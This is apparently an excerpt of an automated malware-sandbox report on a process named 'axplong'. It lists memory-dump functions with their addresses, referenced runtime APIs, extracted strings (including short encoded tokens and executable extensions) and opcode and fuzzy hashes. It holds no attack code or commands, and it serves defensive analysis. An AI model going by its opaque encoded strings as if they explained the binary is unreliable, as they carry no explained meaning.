Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7371a1d9ddbbfad42015d3f0655f4eeedca1c97f99533aa4f3add83bff35d340
Instruction ID: 370e1acbb6cca19c0e974f0d54092d551175abea40bb058fe6f5acfc7c542be5
Opcode Fuzzy Hash: 7371a1d9ddbbfad42015d3f0655f4eeedca1c97f99533aa4f3add83bff35d340
Instruction Fuzzy Hash: 2021B673F208394B770CC47E8C5727DB6E1C68C541745823AE8A6EA2C1D968D917E2E4

Function 0024765B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02647a35f68fddeff20ca36d7701cf2f6e81f6970a928be6c2bd62cec7e0a54e
Instruction ID: c76a1d6fc84c4c4ff78c20965a07a5d1c38e23917a549dc990fb245f9661251d
Opcode Fuzzy Hash: 02647a35f68fddeff20ca36d7701cf2f6e81f6970a928be6c2bd62cec7e0a54e
Instruction Fuzzy Hash: 3C117723F30C255A675C816D8C1727AA5D6DBD825071F533AD826E7284E994DE23D290

Function 00248720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: e98083ea5aa4e900c51370e8c842aad23961c539b550dc1a0ede8fea9cab885a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: F711087F23014347D60C8E2DC9F46BEE796EAC5325B3C437AD1414B758DA22A965D900

Function 0023645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09b7f00ad75b526264048b803033253ebfb394972809da0f4bc69103ecc32020
Instruction ID: 0daa7583a17686ef13b20b4f336e5f3ec12be37d82ea91f1ee1ac895081ec775
Opcode Fuzzy Hash: 09b7f00ad75b526264048b803033253ebfb394972809da0f4bc69103ecc32020
Instruction Fuzzy Hash: 79E0ECB0552A88BADE357F14DC09A483B6EEF51359F009854F9444A221DBA6EDA2DA80

Function 0023A1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 679e46c275a4d193dbde3b8bf929eda7139ef4d39e74fbcbd4110daf71719a78
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: A2E0B6B2925228EBCB25DB988944D8AF2ACEB49B50F5544A6B545D3251C2B0DF10CBD1

Function 00212E20 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 434COMMON

Download Yara Rule

Strings

stoi argument out of range, xrefs: 00214269
Fz==, xrefs: 0021369E
8KG0fymoFx==, xrefs: 00212EC7
invalid stoi argument, xrefs: 0021425A
246122658369, xrefs: 002133D4
WGt=, xrefs: 002133BA
HBhr, xrefs: 0021378F

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 246122658369$8KG0fymoFx==$Fz==$HBhr$WGt=$invalid stoi argument$stoi argument out of range
API String ID: 0-2390467879
Opcode ID: 65e0ea6d6c37d6f60380303b4b68b779aeb50bed76aaa4f658c7fa262906ca18
Instruction ID: ad6778412d40b3fcedd26388523ab6e97f8c1469121e9563c2ff7dfa67479b70
Opcode Fuzzy Hash: 65e0ea6d6c37d6f60380303b4b68b779aeb50bed76aaa4f658c7fa262906ca18
Instruction Fuzzy Hash: 7902F370920248EFEF14EFA8C849BDEBBF6EF15304F504158E805A7282D7759A95CFA1

Function 00234770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 002347A7
___except_validate_context_record.LIBVCRUNTIME ref: 002347AF
_ValidateLocalCookies.LIBCMT ref: 00234838
__IsNonwritableInCurrentImage.LIBCMT ref: 00234863
_ValidateLocalCookies.LIBCMT ref: 002348B8

Strings

csm, xrefs: 0023484D

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: d0d7c06a5b5a3a2d90ee9daafbd151200d1a0c7546fba7fe6d196ab447864a6d
Instruction ID: 57a5b9b8616c13a7ab78ded6df0bf937649e9ee83957832a61549766cdbbad06
Opcode Fuzzy Hash: d0d7c06a5b5a3a2d90ee9daafbd151200d1a0c7546fba7fe6d196ab447864a6d
Instruction Fuzzy Hash: A951C7B4A20259ABCF10EF68CC85A9E7BB5EF05318F5481D5E8089B352D731FA65CB90

Function 002370C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0023710B

Strings

.exe, xrefs: 00237118
.cmd, xrefs: 00237129
.bat, xrefs: 0023713A
.com, xrefs: 0023714B

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 044f92be0b982da711f089f0c2566dec8a872ef07a6b71da2b2c8becb76088a6
Instruction ID: e129c0bcd3b45f37a09e78cf5abc216945743dea2fe3d8573567ebecf923c9ce
Opcode Fuzzy Hash: 044f92be0b982da711f089f0c2566dec8a872ef07a6b71da2b2c8becb76088a6
Instruction Fuzzy Hash: 5F01DBF7638617665A296C199C0363B17989B83FB4F15002BFE88F73C1DE54EC264594

Function 00202E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00202F1F
__Mtx_unlock.LIBCPMT ref: 00202F8C
__Cnd_broadcast.LIBCPMT ref: 00202FA3
__Mtx_unlock.LIBCPMT ref: 002030B5
__Mtx_unlock.LIBCPMT ref: 0020315B

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: b8fb654c772189b1d0304c1e8157a960223f1248acbb60667f2f2e1730faabfb
Instruction ID: de3c2f80e6a017123db9c1b96024b871c736cd03186773d64636da4eb259ca47
Opcode Fuzzy Hash: b8fb654c772189b1d0304c1e8157a960223f1248acbb60667f2f2e1730faabfb
Instruction Fuzzy Hash: 14A12571961306EFDB11DF64C8497AAB7F8FF15314F10412AE809D7682EB30EA68CB91

Function 00202670 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00202806
___std_exception_destroy.LIBVCRUNTIME ref: 002028A0

Strings

P# , xrefs: 002027BE, 00202899
P# , xrefs: 00202811

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: P# $P#
API String ID: 2970364248-946548517
Opcode ID: 1502ef3b9cca110ae2ebec650c8aeb7411a22b6c6d13009560c414389930cb7c
Instruction ID: e30b4082ed46f8e191b666351a5d016a767aff8f263430e1e3f4d87d5b4bc198
Opcode Fuzzy Hash: 1502ef3b9cca110ae2ebec650c8aeb7411a22b6c6d13009560c414389930cb7c
Instruction Fuzzy Hash: 5E71A071E10208DBDB04CFA8C885BDDFBF5EF58310F14812EE805A7292E774A994CBA5

Function 00217870 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 0021795C
__Cnd_destroy_in_situ.LIBCPMT ref: 00217968
__Mtx_destroy_in_situ.LIBCPMT ref: 00217971

Strings

@y!, xrefs: 0021794A

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: @y!
API String ID: 4078500453-1028621875
Opcode ID: c3d7448bc399f253b9d38f06628a80dca27dea280ed26f1c90425ace8f439708
Instruction ID: 29803f408d840a9a4b672bbb16723b99af2868a5f9b73d4cddd47dc425fc78fa
Opcode Fuzzy Hash: c3d7448bc399f253b9d38f06628a80dca27dea280ed26f1c90425ace8f439708
Instruction Fuzzy Hash: E731E5B29243059FD720DF68D845A96B7FCEF64310F10062EF945C7241E771EAA88BA1

Function 00202AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00202B23

Strings

P# , xrefs: 00202B18
This function cannot be called on a default constructed task, xrefs: 00202B03
P# , xrefs: 00202B2E

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P# $P# $This function cannot be called on a default constructed task
API String ID: 2659868963-2522162584
Opcode ID: 8c4407c021711739bcf0e0255449b7ea225ca582e8e0740dc519b3205343c9cc
Instruction ID: fba77bbef10b5dad6fa3f8ef2800df34359c1054dea7e4374726a1e64fb5f7ca
Opcode Fuzzy Hash: 8c4407c021711739bcf0e0255449b7ea225ca582e8e0740dc519b3205343c9cc
Instruction Fuzzy Hash: 41F09C7192030CABC714DFA898459DEF7EDDF15305F50415EFC0957601EB709A68CB95

Function 0023C9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0023CA37

Memory Dump Source

Source File: 00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp, Offset: 00200000, based on PE: true

Associated: 00000006.00000002.3514618753.0000000000200000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3514768739.0000000000262000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515116806.0000000000269000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000026B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.00000000004E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.000000000050E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000516000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3515196648.0000000000525000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516225065.0000000000526000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3516956795.00000000006CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517042590.00000000006CD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517172827.00000000006CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3517280899.00000000006CF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_200000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: c2bc112b342f0355a68962067835bed3c69d117fa4af0773019338d389d6dad4
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
